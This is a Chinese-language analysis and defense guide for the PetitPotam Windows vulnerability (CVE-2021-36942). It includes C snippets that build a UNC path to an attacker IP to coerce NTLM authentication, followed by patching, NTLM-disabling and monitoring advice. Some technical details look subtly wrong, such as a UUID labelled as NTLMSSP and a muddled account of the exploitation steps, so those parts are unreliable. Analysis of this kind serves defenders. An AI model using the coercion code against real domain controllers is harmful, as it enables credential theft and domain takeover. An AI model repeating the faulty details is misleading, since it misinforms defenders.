PetitPotam 漏洞(CVE-2021-36942)分析
字数 1962 2025-08-06 12:20:57
PetitPotam 漏洞(CVE-2021-36942)深入分析与防御指南
漏洞概述
PetitPotam 漏洞(CVE-2021-36942)是 Windows 远程协议(MS-EFSRPC)中的一个严重安全漏洞,影响微软加密文件系统(EFS)。该漏洞允许攻击者通过构造恶意文件路径,诱导目标服务器与攻击者控制的服务器建立连接,从而捕获目标服务器的 NTLM 凭据。
受影响系统
主要影响 Windows Server 系列操作系统,特别是使用 NTLMv2 身份验证协议的系统。
漏洞技术原理
MS-EFSRPC 协议基础
MS-EFSRPC(Encrypting File System Remote Protocol)是 Windows 中的加密文件系统协议,基于 RPC(Remote Procedure Call)协议,主要功能包括:
- 文件操作接口:EfsRpcOpenFileRaw、EfsRpcReadFileRaw、EfsRpcWriteFileRaw
- 用户管理接口:EfsRpcAddUsers、EfsRpcRemoveUsers、EfsRpcQueryUsers
- 密钥管理接口:EfsRpcGetUserInfo、EfsRpcSetUserInfo
- 加密操作接口:EfsRpcEncryptFile、EfsRpcDecryptFile
漏洞核心机制
漏洞存在于 EfsRpcOpenFileRaw 函数中,攻击者可以:
- 构造恶意文件路径,格式为:
\\攻击者IP\test\topotam.exe - 目标服务器尝试连接攻击者控制的服务器
- 在此过程中,目标服务器的 NTLM 凭据会被泄露
认证流程劫持
攻击者通过以下步骤劫持 NTLM 认证流程:
-
设置 RPC 绑定信息:
RpcStatus = RpcBindingSetAuthInfoW(BindingHandle, (RPC_WSTR)target, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE, NULL, RPC_C_AUTHZ_NONE);其中:
target:目标服务器名称RPC_C_AUTHN_LEVEL_PKT_PRIVACY:使用加密的 RPC 数据包RPC_C_AUTHN_GSS_NEGOTIATE:采用 GSS-API 进行身份验证
-
构造恶意路径:
swprintf(buffer, 100, L"\\%s\\test\\topotam.exe", captureServerIP); -
触发 EfsRpcOpenFileRaw 调用,将 NTLM 认证流量重定向到攻击者服务器
漏洞利用过程
- 初始访问:攻击者需要获得域控制器上的有效账户(如域用户账户)
- RPC 请求伪造:攻击者向域控制器发送伪造的 RPC 请求,伪装为受信任计算机
- NTLMv2 触发:在请求中包含特定 RPC 操作:
- 操作名称:"MS-EFSRPC EfsRpcOpenFileRaw"
- ObjectUuid 字段设置为 NTLMSSP 服务的 UUID:"367abb81-9844-35f1-ad32-98f038001003"
- 凭据生成:域控制器验证请求并生成 NTLMv2 凭据
- 凭据捕获:攻击者获取 NTLMv2 凭据
- 权限提升:通过破解或传递哈希攻击获取域管理员权限
潜在攻击影响
- 凭据泄露:获取域控制器的 NTLM hash
- 横向移动:利用获取的凭据在网络中横向移动
- 权限提升:可能获取域管理员权限
- 持久化威胁:建立长期后门访问
防御措施
1. 官方补丁
应用微软发布的安全更新,这是最直接的修复方式。
2. 禁用 NTLM
在受影响的系统上禁用 NTLM 认证:
- 通过组策略禁用 NTLM:
计算机配置 > Windows 设置 > 安全设置 > 本地策略 > 安全选项 > 网络安全: 限制 NTLM - 设置为"拒绝所有账户使用 NTLM"
3. 网络隔离
- 使用防火墙规则限制 MS-EFSRPC 服务的访问
- 仅允许可信网络访问相关端口(通常为 RPC 端口)
- 实施网络分段,限制域控制器的出站连接
4. 监控与检测
- 监控异常 EFSRPC 活动
- 设置警报检测异常的 NTLM 认证尝试
- 特别关注来自非常规 IP 的 RPC 请求
5. 其他缓解措施
- 启用 SMB 签名,防止中间人攻击
- 实施 LDAP 签名和 LDAP 通道绑定
- 考虑启用 Windows Defender Credential Guard
应急响应指南
如果发现 PetitPotam 攻击迹象:
- 立即隔离:隔离受影响系统
- 凭证重置:重置所有可能泄露的凭证
- 日志分析:全面分析安全日志,确定攻击范围
- 补丁应用:确保所有系统应用最新安全更新
- 横向移动检查:检查网络中是否有横向移动迹象
- 后门检测:全面扫描系统查找潜在后门
总结
PetitPotam 漏洞(CVE-2021-36942)是一个严重的 Windows 协议漏洞,可能直接导致域控制器凭据泄露。防御的关键在于及时打补丁、禁用不安全的认证协议(NTLM)以及实施严格的网络访问控制。安全团队应持续监控相关日志,并做好应急响应准备。